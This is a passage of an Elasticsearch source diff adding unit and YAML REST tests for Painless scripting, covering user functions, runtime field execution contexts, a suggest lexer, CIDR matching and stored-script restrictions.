"] threw IOException [" + err.getMessage() + "]"); + return null; + } + UserTreeVisitor semantic = new UserTreeToXContent(builder); + Debugger.phases(script, semantic, null, null); + Map map = XContentHelper.convertToMap(BytesReference.bytes(builder), false, builder.contentType()).v2(); + assertEquals(script, map.get("source")); + return builder; + } +} diff --git a/modules/lang-painless/src/test/java/org/elasticsearch/painless/UserFunctionTests.java b/modules/lang-painless/src/test/java/org/elasticsearch/painless/UserFunctionTests.java new file mode 100644 index 0000000000000..6ac4ac1483c07 --- /dev/null +++ b/modules/lang-painless/src/test/java/org/elasticsearch/painless/UserFunctionTests.java @@ -0,0 +1,37 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.painless; + +import java.util.List; + +public class UserFunctionTests extends ScriptTestCase { + public void testZeroArgumentUserFunction() { + String source = "def twofive() { return 25; } twofive()"; + assertEquals(25, exec(source)); + } + + public void testUserFunctionDefCallRef() { + String source = + "String getSource() { 'source'; }\n" + + "int myCompare(int a, int b) { getMulti() * Integer.compare(a, b) }\n" + + "int getMulti() { return -1 }\n" + + "def l = [1, 100, -100];\n" + + "if (myCompare(10, 50) > 0) { l.add(50 + getMulti()) }\n" + + "l.sort(this::myCompare);\n" + + "if (l[0] == 100) { l.remove(l.size() - 1) ; l.sort((a, b) -> -1 * myCompare(a, b)) } \n"+ + "if (getSource().startsWith('sour')) { l.add(255); }\n" + + "return l;"; + assertEquals(List.of(1, 49, 100, 255), exec(source)); + assertBytecodeExists(source, "public static &getSource()Ljava/lang/String"); + assertBytecodeExists(source, "public static &getMulti()I"); + assertBytecodeExists(source, "INVOKESTATIC org/elasticsearch/painless/PainlessScript$Script.&getMulti ()I"); + assertBytecodeExists(source, "public static &myCompare(II)I"); + assertBytecodeExists(source, "INVOKESTATIC org/elasticsearch/painless/PainlessScript$Script.&myCompare (II)I"); + } +} diff --git a/modules/lang-painless/src/test/java/org/elasticsearch/painless/action/PainlessExecuteApiTests.java b/modules/lang-painless/src/test/java/org/elasticsearch/painless/action/PainlessExecuteApiTests.java index b0a395e842a5d..a91cd4858dff2 100644 --- a/modules/lang-painless/src/test/java/org/elasticsearch/painless/action/PainlessExecuteApiTests.java +++ b/modules/lang-painless/src/test/java/org/elasticsearch/painless/action/PainlessExecuteApiTests.java @@ -11,6 +11,7 @@ import org.elasticsearch.common.settings.Settings; import org.elasticsearch.common.xcontent.XContentType; import org.elasticsearch.index.IndexService; +import org.elasticsearch.index.query.MatchAllQueryBuilder; import org.elasticsearch.index.query.MatchQueryBuilder; import org.elasticsearch.painless.PainlessPlugin; import org.elasticsearch.painless.action.PainlessExecuteAction.Request; @@ -23,11 +24,14 @@ import org.elasticsearch.test.ESSingleNodeTestCase; import java.io.IOException; +import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.HashMap; +import java.util.List; import java.util.Map; +import static java.util.Collections.emptyMap; import static java.util.Collections.singletonMap; import static org.elasticsearch.painless.action.PainlessExecuteAction.TransportAction.innerShardOperation; import static org.hamcrest.Matchers.equalTo; @@ -100,6 +104,190 @@ public void testScoreExecutionContext() throws IOException { assertThat(response.getResult(), equalTo(0.93D)); } + public void testBooleanFieldExecutionContext() throws IOException { + ScriptService scriptService = getInstanceFromNode(ScriptService.class); + IndexService indexService = createIndex("index", Settings.EMPTY, "doc", "rank", "type=long", "text", "type=text"); + + Request.ContextSetup contextSetup = new Request.ContextSetup("index", + new BytesArray("{\"rank\": 4.0, \"text\": \"quick brown fox\"}"), new MatchQueryBuilder("text", "fox")); + contextSetup.setXContentType(XContentType.JSON); + Request request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(doc['rank'].value < params.max_rank)", singletonMap("max_rank", 5.0)), "boolean_field", + contextSetup); + Response response = innerShardOperation(request, scriptService, indexService); + assertEquals(Collections.singletonList(true), response.getResult()); + + contextSetup = new Request.ContextSetup("index", new BytesArray("{}"), new MatchAllQueryBuilder()); + contextSetup.setXContentType(XContentType.JSON); + request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(false); emit(true); emit (false);", emptyMap()), "boolean_field", + contextSetup); + response = innerShardOperation(request, scriptService, indexService); + assertEquals(Arrays.asList(false, false, true), response.getResult()); + } + + public void testDateFieldExecutionContext() throws IOException { + ScriptService scriptService = getInstanceFromNode(ScriptService.class); + IndexService indexService = createIndex("index", Settings.EMPTY, "doc", "test_date", "type=date"); + + Request.ContextSetup contextSetup = new Request.ContextSetup("index", + new BytesArray("{\"test_date\":\"2015-01-01T12:10:30Z\"}"), new MatchAllQueryBuilder()); + contextSetup.setXContentType(XContentType.JSON); + Request request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(doc['test_date'].value.toInstant().toEpochMilli())", emptyMap()), "date_field", + contextSetup); + Response response = innerShardOperation(request, scriptService, indexService); + assertEquals(Collections.singletonList("2015-01-01T12:10:30.000Z"), response.getResult()); + + contextSetup = new Request.ContextSetup("index", new BytesArray("{}"), new MatchAllQueryBuilder()); + contextSetup.setXContentType(XContentType.JSON); + request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(ZonedDateTime.parse(\"2021-01-01T00:00:00Z\").toInstant().toEpochMilli());\n" + + "emit(ZonedDateTime.parse(\"1942-05-31T15:16:17Z\").toInstant().toEpochMilli());\n" + + "emit(ZonedDateTime.parse(\"2035-10-13T10:54:19Z\").toInstant().toEpochMilli());", + emptyMap()), "date_field", contextSetup); + response = innerShardOperation(request, scriptService, indexService); + assertEquals( + Arrays.asList( + "2021-01-01T00:00:00.000Z", + "1942-05-31T15:16:17.000Z", + "2035-10-13T10:54:19.000Z"), + response.getResult()); + } + + @SuppressWarnings("unchecked") + public void testDoubleFieldExecutionContext() throws IOException { + ScriptService scriptService = getInstanceFromNode(ScriptService.class); + IndexService indexService = createIndex("index", Settings.EMPTY, "doc", "rank", "type=long", "text", "type=text"); + + Request.ContextSetup contextSetup = new Request.ContextSetup("index", + new BytesArray("{\"rank\": 4.0, \"text\": \"quick brown fox\"}"), new MatchQueryBuilder("text", "fox")); + contextSetup.setXContentType(XContentType.JSON); + Request request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(doc['rank'].value); emit(Math.log(doc['rank'].value))", emptyMap()), "double_field", + contextSetup); + Response response = innerShardOperation(request, scriptService, indexService); + List doubles = (List)response.getResult(); + assertEquals(4.0, doubles.get(0), 0.00001); + assertEquals(Math.log(4.0), doubles.get(1), 0.00001); + + contextSetup = new Request.ContextSetup("index", new BytesArray("{}"), new MatchAllQueryBuilder()); + contextSetup.setXContentType(XContentType.JSON); + request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(3.1); emit(2.29); emit(-12.47); emit(-12.46); emit(Double.MAX_VALUE); emit(0.0);", + emptyMap()), "double_field", contextSetup); + response = innerShardOperation(request, scriptService, indexService); + doubles = (List)response.getResult(); + assertEquals(3.1, doubles.get(0), 0.00001); + assertEquals(2.29, doubles.get(1), 0.00001); + assertEquals(-12.47, doubles.get(2), 0.00001); + assertEquals(-12.46, doubles.get(3), 0.00001); + assertEquals(Double.MAX_VALUE, doubles.get(4), 0.00001); + assertEquals(0.0, doubles.get(5), 0.00001); + } + + @SuppressWarnings("unchecked") + public void testGeoPointFieldExecutionContext() throws IOException { + ScriptService scriptService = getInstanceFromNode(ScriptService.class); + IndexService indexService = createIndex("index", Settings.EMPTY, "doc", "test_point", "type=geo_point"); + + Request.ContextSetup contextSetup = new Request.ContextSetup("index", + new BytesArray("{\"test_point\":\"30.0,40.0\"}"), new MatchAllQueryBuilder()); + contextSetup.setXContentType(XContentType.JSON); + Request request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(doc['test_point'].value.lat, doc['test_point'].value.lon)", emptyMap()), + "geo_point_field", contextSetup); + Response response = innerShardOperation(request, scriptService, indexService); + List> points = (List>)response.getResult(); + assertEquals(40.0, (double)((List)points.get(0).get("coordinates")).get(0), 0.00001); + assertEquals(30.0, (double)((List)points.get(0).get("coordinates")).get(1), 0.00001); + assertEquals("Point", points.get(0).get("type")); + + contextSetup = new Request.ContextSetup("index", new BytesArray("{}"), new MatchAllQueryBuilder()); + contextSetup.setXContentType(XContentType.JSON); + request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(78.96, 12.12); emit(13.45, 56.78);", + emptyMap()), "geo_point_field", contextSetup); + response = innerShardOperation(request, scriptService, indexService); + points = (List>)response.getResult(); + assertEquals(12.12, (double)((List)points.get(0).get("coordinates")).get(0), 0.00001); + assertEquals(78.96, (double)((List)points.get(0).get("coordinates")).get(1), 0.00001); + assertEquals("Point", points.get(0).get("type")); + assertEquals(56.78, (double)((List)points.get(1).get("coordinates")).get(0), 0.00001); + assertEquals(13.45, (double)((List)points.get(1).get("coordinates")).get(1), 0.00001); + assertEquals("Point", points.get(1).get("type")); + } + + public void testIpFieldExecutionContext() throws IOException { + ScriptService scriptService = getInstanceFromNode(ScriptService.class); + IndexService indexService = createIndex("index", Settings.EMPTY, "doc", "test_ip", "type=ip"); + + Request.ContextSetup contextSetup = new Request.ContextSetup("index", + new BytesArray("{\"test_ip\":\"192.168.1.254\"}"), new MatchAllQueryBuilder()); + contextSetup.setXContentType(XContentType.JSON); + Request request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(doc['test_ip'].value);", emptyMap()), + "ip_field", contextSetup); + Response response = innerShardOperation(request, scriptService, indexService); + assertEquals(Collections.singletonList("192.168.1.254"), response.getResult()); + + contextSetup = new Request.ContextSetup("index", new BytesArray("{}"), new MatchAllQueryBuilder()); + contextSetup.setXContentType(XContentType.JSON); + request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(\"192.168.0.1\"); emit(\"2001:db8::8a2e:370:7334\"); emit(\"2001:0db8:0000:0000:0000:8a2e:0370:7333\"); " + + "emit(\"127.0.0.1\"); emit(\"255.255.255.255\"); emit(\"0.0.0.0\");", + emptyMap()), "ip_field", contextSetup); + response = innerShardOperation(request, scriptService, indexService); + assertEquals(Arrays.asList( + "192.168.0.1", "2001:db8::8a2e:370:7334", "2001:db8::8a2e:370:7333", "127.0.0.1", "255.255.255.255", "0.0.0.0"), + response.getResult()); + } + + public void testLongFieldExecutionContext() throws IOException { + ScriptService scriptService = getInstanceFromNode(ScriptService.class); + IndexService indexService = createIndex("index", Settings.EMPTY, "doc", "test_value", "type=long"); + + Request.ContextSetup contextSetup = new Request.ContextSetup("index", + new BytesArray("{\"test_value\":\"42\"}"), new MatchAllQueryBuilder()); + contextSetup.setXContentType(XContentType.JSON); + Request request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(doc['test_value'].value); emit(doc['test_value'].value - 2);", emptyMap()), + "long_field", contextSetup); + Response response = innerShardOperation(request, scriptService, indexService); + assertEquals(Arrays.asList(42L, 40L), response.getResult()); + + contextSetup = new Request.ContextSetup("index", new BytesArray("{}"), new MatchAllQueryBuilder()); + contextSetup.setXContentType(XContentType.JSON); + request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(3L); emit(1L); emit(20000000000L); emit(10L); emit(-1000L); emit(0L);", + emptyMap()), "long_field", contextSetup); + response = innerShardOperation(request, scriptService, indexService); + assertEquals(Arrays.asList(3L, 1L, 20000000000L, 10L, -1000L, 0L), response.getResult()); + } + + public void testKeywordFieldExecutionContext() throws IOException { + ScriptService scriptService = getInstanceFromNode(ScriptService.class); + IndexService indexService = createIndex("index", Settings.EMPTY, "doc", "rank", "type=long", "text", "type=keyword"); + + Request.ContextSetup contextSetup = new Request.ContextSetup("index", + new BytesArray("{\"rank\": 4.0, \"text\": \"quick brown fox\"}"), new MatchQueryBuilder("text", "fox")); + contextSetup.setXContentType(XContentType.JSON); + contextSetup.setXContentType(XContentType.JSON); + Request request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(doc['rank'].value + doc['text'].value)", emptyMap()), + "keyword_field", contextSetup); + Response response = innerShardOperation(request, scriptService, indexService); + assertEquals(Collections.singletonList("4quick brown fox"), response.getResult()); + + contextSetup = new Request.ContextSetup("index", new BytesArray("{}"), new MatchAllQueryBuilder()); + contextSetup.setXContentType(XContentType.JSON); + request = new Request(new Script(ScriptType.INLINE, "painless", + "emit(\"test\"); emit(\"baz was not here\"); emit(\"Data\"); emit(\"-10\"); emit(\"20\"); emit(\"9\");", + emptyMap()), "keyword_field", contextSetup); + response = innerShardOperation(request, scriptService, indexService); + assertEquals(Arrays.asList("test", "baz was not here", "Data", "-10", "20", "9"), response.getResult()); + } + public void testContextWhitelists() throws IOException { ScriptService scriptService = getInstanceFromNode(ScriptService.class); // score diff --git a/modules/lang-painless/src/test/java/org/elasticsearch/painless/action/SuggestTests.java b/modules/lang-painless/src/test/java/org/elasticsearch/painless/action/SuggestTests.java new file mode 100644 index 0000000000000..a9311c3e9885f --- /dev/null +++ b/modules/lang-painless/src/test/java/org/elasticsearch/painless/action/SuggestTests.java @@ -0,0 +1,153 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.painless.action; + +import org.antlr.v4.runtime.ANTLRInputStream; +import org.antlr.v4.runtime.Token; +import org.elasticsearch.painless.ScriptTestCase; +import org.elasticsearch.painless.action.PainlessExecuteAction.PainlessTestScript; +import org.elasticsearch.painless.antlr.EnhancedSuggestLexer; +import org.elasticsearch.painless.antlr.SuggestLexer; + +import java.util.List; + +public class SuggestTests extends ScriptTestCase { + + private List getSuggestTokens(String source) { + ANTLRInputStream stream = new ANTLRInputStream(source); + SuggestLexer lexer = new EnhancedSuggestLexer(stream, scriptEngine.getContextsToLookups().get(PainlessTestScript.CONTEXT)); + lexer.removeErrorListeners(); + return lexer.getAllTokens(); + } + + private void compareTokens(List tokens, String... expected) { + assertEquals(expected.length % 2, 0); + assertEquals(tokens.size(), expected.length / 2); + + int index = 0; + for (Token token : tokens) { + assertEquals(SuggestLexer.VOCABULARY.getDisplayName(token.getType()), expected[index++]); + assertEquals(token.getText(), expected[index++]); + } + } + + public void testSuggestLexer() { + compareTokens( + getSuggestTokens("test"), + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test" + ); + + compareTokens( + getSuggestTokens("int test;"), + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.TYPE), "int", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.SEMICOLON), ";" + ); + + compareTokens( + getSuggestTokens("ArrayList test;"), + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.TYPE), "ArrayList", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.SEMICOLON), ";" + ); + + compareTokens( + getSuggestTokens("def test;"), + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.TYPE), "def", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.SEMICOLON), ";" + ); + + compareTokens( + getSuggestTokens("int[] test;"), + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ATYPE), "int[]", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.SEMICOLON), ";" + ); + + compareTokens( + getSuggestTokens("ArrayList[] test;"), + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ATYPE), "ArrayList[]", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.SEMICOLON), ";" + ); + + compareTokens( + getSuggestTokens("def[] test;"), + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ATYPE), "def[]", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.SEMICOLON), ";" + ); + + compareTokens( + getSuggestTokens("List test = new ArrayList(); test."), + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.TYPE), "List", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ASSIGN), "=", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.NEW), "new", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.TYPE), "ArrayList", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.LP), "(", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.RP), ")", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.SEMICOLON), ";", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.DOT), "." + ); + + compareTokens( + getSuggestTokens("List test = new ArrayList(); test.add"), + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.TYPE), "List", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ASSIGN), "=", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.NEW), "new", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.TYPE), "ArrayList", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.LP), "(", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.RP), ")", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.SEMICOLON), ";", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.DOT), ".", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.DOTID), "add" + ); + + compareTokens( + getSuggestTokens("List test = new ArrayList(); test.add("), + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.TYPE), "List", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ASSIGN), "=", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.NEW), "new", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.TYPE), "ArrayList", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.LP), "(", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.RP), ")", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.SEMICOLON), ";", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.DOT), ".", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.DOTID), "add", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.LP), "(" + ); + + compareTokens( + getSuggestTokens("def test(int param) {return param;} test(2);"), + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.TYPE), "def", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.LP), "(", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.TYPE), "int", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "param", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.RP), ")", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.LBRACK), "{", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.RETURN), "return", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "param", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.SEMICOLON), ";", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.RBRACK), "}", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.ID), "test", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.LP), "(", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.INTEGER), "2", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.RP), ")", + SuggestLexer.VOCABULARY.getDisplayName(SuggestLexer.SEMICOLON), ";" + ); + } +} diff --git a/modules/lang-painless/src/test/java/org/elasticsearch/painless/api/CIDRTests.java b/modules/lang-painless/src/test/java/org/elasticsearch/painless/api/CIDRTests.java new file mode 100644 index 0000000000000..1c1984c0a0d69 --- /dev/null +++ b/modules/lang-painless/src/test/java/org/elasticsearch/painless/api/CIDRTests.java @@ -0,0 +1,33 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.painless.api; + +import org.elasticsearch.test.ESTestCase; + +public class CIDRTests extends ESTestCase { + public void testCIDR() { + CIDR cidr = new CIDR("192.168.8.0/24"); + assertTrue(cidr.contains("192.168.8.0")); + assertTrue(cidr.contains("192.168.8.255")); + assertFalse(cidr.contains("192.168.9.0")); + assertFalse(cidr.contains("192.168.7.255")); + assertFalse(cidr.contains(null)); + assertFalse(cidr.contains("")); + + CIDR cidrNoRange = new CIDR("169.254.0.0"); + assertTrue(cidrNoRange.contains("169.254.0.0")); + assertFalse(cidrNoRange.contains("169.254.0.1")); + + CIDR cidrIPv6 = new CIDR("b181:3a88:339c:97f5:2b40:5175:bf3d:f77d/64"); + assertTrue(cidrIPv6.contains("b181:3a88:339c:97f5:2b40:5175:bf3d:f77e")); + assertFalse(cidrIPv6.contains("254.120.25.32")); + + expectThrows(IllegalArgumentException.class, () -> new CIDR("10.2.0.0/36")); + } +} diff --git a/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/120_stored_scripts.yml b/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/120_stored_scripts.yml new file mode 100644 index 0000000000000..2f020432fa53b --- /dev/null +++ b/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/120_stored_scripts.yml @@ -0,0 +1,116 @@ +# Integration tests for stored scripts + +"Test runtime field contexts allowed as stored script": + + - do: + put_script: + id: score_script + context: score + body: + script: + source: "Math.log(doc['my_field']) + 1" + lang: painless + + - match: { acknowledged: true } + +--- + +"Test runtime field contexts not allowed as stored script": + + - do: + catch: bad_request + put_script: + id: boolean_field_script + context: boolean_field + body: + script: + source: "'should not reach compilation or this will error''" + lang: painless + + - match: { error.root_cause.0.type: "illegal_argument_exception" } + - match: { error.type: "illegal_argument_exception" } + - match: { error.caused_by.reason: "cannot store a script for context [boolean_field]" } + + - do: + catch: bad_request + put_script: + id: date_field_script + context: date_field + body: + script: + source: "'should not reach compilation or this will error''" + lang: painless + + - match: { error.root_cause.0.type: "illegal_argument_exception" } + - match: { error.type: "illegal_argument_exception" } + - match: { error.caused_by.reason: "cannot store a script for context [date_field]" } + + - do: + catch: bad_request + put_script: + id: double_field_script + context: double_field + body: + script: + source: "'should not reach compilation or this will error''" + lang: painless + + - match: { error.root_cause.0.type: "illegal_argument_exception" } + - match: { error.type: "illegal_argument_exception" } + - match: { error.caused_by.reason: "cannot store a script for context [double_field]" } + + - do: + catch: bad_request + put_script: + id: geo_point_field_script + context: geo_point_field + body: + script: + source: "'should not reach compilation or this will error''" + lang: painless + + - match: { error.root_cause.0.type: "illegal_argument_exception" } + - match: { error.type: "illegal_argument_exception" } + - match: { error.caused_by.reason: "cannot store a script for context [geo_point_field]" } + + - do: + catch: bad_request + put_script: + id: ip_field_script + context: ip_field + body: + script: + source: "'should not reach compilation or this will error''" + lang: painless + + - match: { error.root_cause.0.type: "illegal_argument_exception" } + - match: { error.type: "illegal_argument_exception" } + - match: { error.caused_by.reason: "cannot store a script for context [ip_field]" } + + - do: + catch: bad_request + put_script: + id: long_field_script + context: long_field + body: + script: + source: "'should not reach compilation or this will error''" + lang: painless + + - match: { error.root_cause.0.type: "illegal_argument_exception" } + - match: { error.type: "illegal_argument_exception" } + - match: { error.caused_by.reason: "cannot store a script for context [long_field]" } + + - do: + catch: bad_request + put_script: + id: keyword_field_script + context: keyword_field + body: + script: + source: "'should not reach compilation or this will error''" + lang: painless + + - match: { error.root_cause.0.type: "illegal_argument_exception" } + - match: { error.type: "illegal_argument_exception" } + - match: { error.caused_by.reason: "cannot store a script for context [keyword_field]" } diff --git a/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/50_script_doc_values.yml b/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/50_script_doc_values.yml index fa55b47b803dd..7c7a7390107ee 100644 --- a/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/50_script_doc_values.yml +++ b/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/50_script_doc_values.yml @@ -132,6 +132,56 @@ setup: - match: { hits.hits.0.fields.field.0.lat: 41.1199999647215 } - match: { hits.hits.0.fields.field.0.lon: -71.34000004269183 } + - do: + search: + rest_total_hits_as_int: true + body: + script_fields: + centroid: + script: + source: "doc['geo_point'].getCentroid()" + - match: { hits.hits.0.fields.centroid.0.lat: 41.1199999647215 } + - match: { hits.hits.0.fields.centroid.0.lon: -71.34000004269183 } + + - do: + search: + rest_total_hits_as_int: true + body: + script_fields: + bbox: + script: + source: "doc['geo_point'].getBoundingBox()" + - match: { hits.hits.0.fields.bbox.0.top_left.lat: 41.1199999647215 } + - match: { hits.hits.0.fields.bbox.0.top_left.lon: -71.34000004269183 } + - match: { hits.hits.0.fields.bbox.0.bottom_right.lat: 41.1199999647215 } + - match: { hits.hits.0.fields.bbox.0.bottom_right.lon: -71.34000004269183 } + + - do: + search: + rest_total_hits_as_int: true + body: + script_fields: + topLeft: + script: + source: "doc['geo_point'].getBoundingBox().topLeft()" + bottomRight: + script: + source: "doc['geo_point'].getBoundingBox().bottomRight()" + - match: { hits.hits.0.fields.topLeft.0.lat: 41.1199999647215 } + - match: { hits.hits.0.fields.topLeft.0.lon: -71.34000004269183 } + - match: { hits.hits.0.fields.bottomRight.0.lat: 41.1199999647215 } + - match: { hits.hits.0.fields.bottomRight.0.lon: -71.34000004269183 } + + - do: + search: + rest_total_hits_as_int: true + body: + script_fields: + type: + script: + source: "doc['geo_point'].getDimensionalType()" + - match: { hits.hits.0.fields.type.0: 0 } + --- "ip": - do: diff --git a/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/60_script_doc_values_binary.yml b/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/60_script_doc_values_binary.yml index 3a549e6c79bf9..d6871412a73c9 100644 --- a/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/60_script_doc_values_binary.yml +++ b/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/60_script_doc_values_binary.yml @@ -27,20 +27,13 @@ - do: search: - rest_total_hits_as_int: true body: script_fields: - field: + field1: script: source: "doc['binary'].get(0).utf8ToString()" - - match: { hits.hits.0.fields.field.0: "Some binary blob" } - - - do: - search: - rest_total_hits_as_int: true - body: - script_fields: - field: + field2: script: source: "doc['binary'].value.utf8ToString()" - - match: { hits.hits.0.fields.field.0: "Some binary blob" } + - match: { hits.hits.0.fields.field1.0: "Some binary blob" } + - match: { hits.hits.0.fields.field2.0: "Some binary blob" } diff --git a/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/70_execute_painless_scripts.yml b/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/70_execute_painless_scripts.yml index 5a994425c5dc2..bb01fc3eca154 100644 --- a/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/70_execute_painless_scripts.yml +++ b/modules/lang-painless/src/yamlRestTest/resources/rest-api-spec/test/painless/70_execute_painless_scripts.yml @@ -9,8 +9,24 @@ setup: type: long field: type: keyword + keyword: + type: keyword text: type: text + point: + type: geo_point + p0: + type: geo_point + p1: + type: geo_point + date: + type: date + date0: + type: date + date1: + type: date + ip: + type: ip --- "Execute with defaults": @@ -68,3 +84,246 @@ setup: rank: 4 index: "my-index" - match: { result: 0.8 } + +--- +"Execute with boolean field context (single-value)": + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['rank'].value < params.max_rank);" + params: + max_rank: 5.0 + context: "boolean_field" + context_setup: + document: + rank: 4 + index: "my-index" + - match: { result: [ true ] } + + +--- +"Execute with boolean field context (multi-value)": + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['rank'].value < params.max_rank); emit(false); emit(false); emit(true);" + params: + max_rank: 5.0 + context: "boolean_field" + context_setup: + document: + rank: 4 + index: "my-index" + - match: { result: [ false, false, true, true ] } + +--- +"Execute with date field context (single-value)": + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['date'].value.toInstant().toEpochMilli())" + context: "date_field" + context_setup: + document: + date: "2015-01-01T12:10:30Z" + index: "my-index" + - match: { result: [ "2015-01-01T12:10:30.000Z" ] } + +--- +"Execute with date field context (multi-value)": + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['date0'][0].toInstant().toEpochMilli()); emit(doc['date1'][0].toInstant().toEpochMilli());" + context: "date_field" + context_setup: + document: + date0: "2015-01-01T12:10:30Z" + date1: "2010-11-30T13:14:35Z" + index: "my-index" + - match: { result: [ "2015-01-01T12:10:30.000Z", "2010-11-30T13:14:35.000Z" ] } + +--- +"Execute with double field context (single-value)": + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['rank'].value * 